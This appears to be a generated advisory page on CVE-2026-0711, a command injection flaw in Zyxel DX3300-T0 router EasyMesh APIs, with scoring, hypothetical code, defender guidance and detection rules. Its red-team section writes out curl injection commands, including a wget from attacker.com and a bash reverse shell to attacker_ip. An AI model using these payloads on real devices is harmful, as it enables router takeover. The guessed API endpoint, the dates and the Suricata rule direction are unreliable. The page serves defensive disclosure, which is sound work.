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Zyxel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.8 CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-0711

CVE-2026-0711 is a post-authentication command injection vulnerability discovered in the EasyMesh-related APIs of Zyxel DX3300-T0 routers.
📅 PUBLISHED: 2026-04-28 03:16 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.85%
👁️
0.85% probability
21.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.8
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-0711 is a post-authentication command injection vulnerability discovered in the EasyMesh-related APIs of Zyxel DX3300-T0 routers. An authenticated attacker with administrative privileges, who is adjacent to the affected device, can exploit this flaw to execute arbitrary operating system commands. The vulnerability resides in the firmware versions up to and including 5.50(ABVY.7.1)C0. With a CVSS score of 6.8, the severity is considered medium, but the potential for full device compromise makes it a critical concern for network security. No public proof-of-concept (PoC) or exploit code has been released at this time, and the vendor has not yet provided a patch.

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Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware device.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 6.8 (Medium)
  • Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same network segment as the device.
  • Attack Complexity (AC): Low (AC:L) – No special conditions are required for exploitation.
  • Privileges Required (PR): High (PR:H) – The attacker must have administrative credentials.
  • User Interaction (UI): None (UI:N) – No user action is needed.
  • Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (C:H) – Full read access to device data.
  • Integrity (I): High (I:H) – Full write access to device data.
  • Availability (A): High (A:H) – Full control over device availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for administrative privileges and adjacent network access reduces the attack surface. However, once exploited, the attacker gains complete control over the router.

Deep Dive & Mechanics

The vulnerability is located in the EasyMesh API endpoints of the Zyxel DX3300-T0 firmware. EasyMesh is a Wi-Fi mesh networking protocol that allows multiple access points to be managed as a single network. The API likely processes user-supplied input (e.g., mesh node names, configuration parameters) without proper sanitization.

Root Cause: The application fails to validate or sanitize input passed to system-level commands (e.g., system(), exec(), or similar functions) when handling EasyMesh API requests. An authenticated administrator can inject shell metacharacters (e.g., ;, |, &&, `) into API parameters, leading to arbitrary command execution.

Attack Flow:

  1. Attacker gains administrative access to the Zyxel DX3300-T0 (e.g., via default credentials, brute force, or other means).
  2. Attacker sends a crafted HTTP request to an EasyMesh API endpoint (e.g., /cgi-bin/easymesh/api).
  3. The request includes a malicious payload in a parameter (e.g., node_name=test;id).
  4. The server executes the injected command with root privileges.
  5. Attacker can then exfiltrate data, install malware, or pivot to other network devices.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but based on common patterns.

Vulnerable Code (Python/Shell example):

import subprocess
import cgi

def handle_easymesh_api():
    form = cgi.FieldStorage()
    node_name = form.getvalue('node_name')
    # Vulnerable: direct concatenation
    cmd = "easymesh_ctl --add-node " + node_name
    subprocess.call(cmd, shell=True)

Patched Code (Hypothetical):

import subprocess
import cgi
import shlex

def handle_easymesh_api():
    form = cgi.FieldStorage()
    node_name = form.getvalue('node_name')
    # Patched: use shlex.quote to escape shell metacharacters
    safe_node_name = shlex.quote(node_name)
    cmd = "easymesh_ctl --add-node " + safe_node_name
    subprocess.call(cmd, shell=True)

The patched version uses shlex.quote() to escape special characters, preventing command injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Administrative credentials for the Zyxel DX3300-T0.
  • Network adjacency to the device (same LAN or Wi-Fi).

Exploitation Steps:

  1. Identify the target: Use Shodan or local network scanning to find Zyxel DX3300-T0 devices.
  2. Authenticate: Log in to the web interface with admin credentials.
  3. Craft the payload: Use a tool like curl to send a malicious request.
    curl -X POST "http://<router_ip>/cgi-bin/easymesh/api" \
         -d "node_name=test;id" \
         -b "session=<valid_session_cookie>"
    
  4. Execute commands: Replace id with any command (e.g., cat /etc/passwd, wget http://attacker.com/malware).
  5. Maintain access: Install a reverse shell or backdoor.

Example Reverse Shell Payload:

curl -X POST "http://<router_ip>/cgi-bin/easymesh/api" \
     -d "node_name=test;bash -i >& /dev/tcp/attacker_ip/4444 0>&1" \
     -b "session=<valid_session_cookie>"

Blue Team (Defender)

Detection Steps:

  1. Monitor logs: Check router logs for unusual API requests containing shell metacharacters.
  2. Network monitoring: Look for outbound connections from the router to unknown IPs on unusual ports.
  3. Honeypot: Deploy a fake Zyxel DX3300-T0 to capture exploitation attempts.

Mitigation Steps:

  1. Restrict admin access: Use strong passwords and disable remote admin access if possible.
  2. Network segmentation: Place the router in a separate VLAN with limited outbound access.
  3. Firmware updates: Monitor Zyxel’s website for patches and apply them immediately.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /cgi-bin/easymesh/api with parameters containing shell metacharacters (;, |, &&, `).
    • Outbound connections from the router to unknown IPs on ports 4444, 8080, or other non-standard ports.
  • File IOCs:
    • Unexpected files in /tmp/ or /var/run/ (e.g., reverse shell scripts).
    • Modified system binaries (e.g., /bin/sh replaced with a backdoor).
  • Process IOCs:
    • Unusual processes running as root (e.g., bash, nc, python).
  • Log IOCs:
    • Entries in /var/log/messages or similar logs showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2026_0711_Zyxel_Command_Injection {
    meta:
        description = "Detects command injection attempts against Zyxel DX3300-T0 EasyMesh API"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-0711"
    strings:
        $cmd_inject = /node_name=[^&]*[;&|`$]/
        $api_path = "/cgi-bin/easymesh/api"
    condition:
        $api_path and $cmd_inject
}

Sigma Rule

title: Zyxel DX3300-T0 EasyMesh Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to the EasyMesh API with command injection patterns
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/easymesh/api*'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in node names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-0711 Zyxel DX3300-T0 EasyMesh Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/easymesh/api";
    http_uri;
    pcre:"/node_name=[^&]*[;&|`$]/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Change default credentials: Ensure all admin passwords are strong and unique.
  2. Disable remote management: If not required, disable WAN-side access to the router’s web interface.
  3. Network segmentation: Isolate the router in a separate VLAN with strict firewall rules.

Long-term Fix:

  • Apply vendor patch: Monitor Zyxel’s security advisory page for a firmware update. Once released, apply it immediately.
  • Input validation: Implement strict input validation and sanitization for all API parameters.
  • Use parameterized commands: Avoid shell execution where possible; use native APIs or libraries.

Workaround:

  • If patching is not possible, consider replacing the device with a more secure alternative.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 5C4D377520415021736332F7] */}

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